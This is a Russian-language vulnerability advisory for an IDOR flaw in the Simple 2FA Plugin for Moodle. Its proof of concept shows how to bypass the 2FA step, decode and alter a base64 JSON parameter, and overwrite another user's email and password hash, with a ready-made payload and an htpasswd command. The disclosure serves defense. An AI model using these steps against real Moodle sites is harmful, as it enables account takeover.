
Уязвимость небезопасных прямых ссылок на объекты (IDOR) в плагине "Simple 2FA Plugin for Moodle" от LMS Doctor
Уязвимость небезопасных прямых ссылок на объекты (Insecure Direct Object References, IDOR) в плагине «Simple 2FA Plugin for Moodle» от LMS Doctor
Детали уязвимости
Риск : Критический
Вендор: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Раскрыл: Flaviu Popescu
Описание: Уязвимость небезопасных прямых ссылок на объекты (IDOR) в плагине The Simple 2FA Plugin for Moodle от «LMS Doctor». Позволяет удалённым злоумышленникам изменять конфиденциальные записи, такие как адрес электронной почты, пароль и номер телефона других учётных записей.
Доказательство концепции:
Процесс первоначального входа с использованием самостоятельно зарегистрированной учётной записи (dionach.tester):
POST /login/index.php

Когда появляется запрос 2FA, злоумышленник принудительно переходит по следующему URL вместо ввода кода 2FA.
POST /auth/simple2fa/profile.php

Этот запрос перехватывается в Burp Suite:

Параметр «u» содержит строку в кодировке base64. Строка декодируется, что раскрывает данные в формате JSON, как показано ниже:

Злоумышленник изменяет JSON-данные, модифицируя id, e-mail, пароль и имя. JSON-данные кодируются обратно в base64, обновляются в Burp Suite и отправляются на сервер.
Генерация нового хэша для пароля:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Фрагмент изменённых данных:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
В результате происходит обновление учётной записи жертвы с id 8045 (dionach.tester2), как показано ниже:
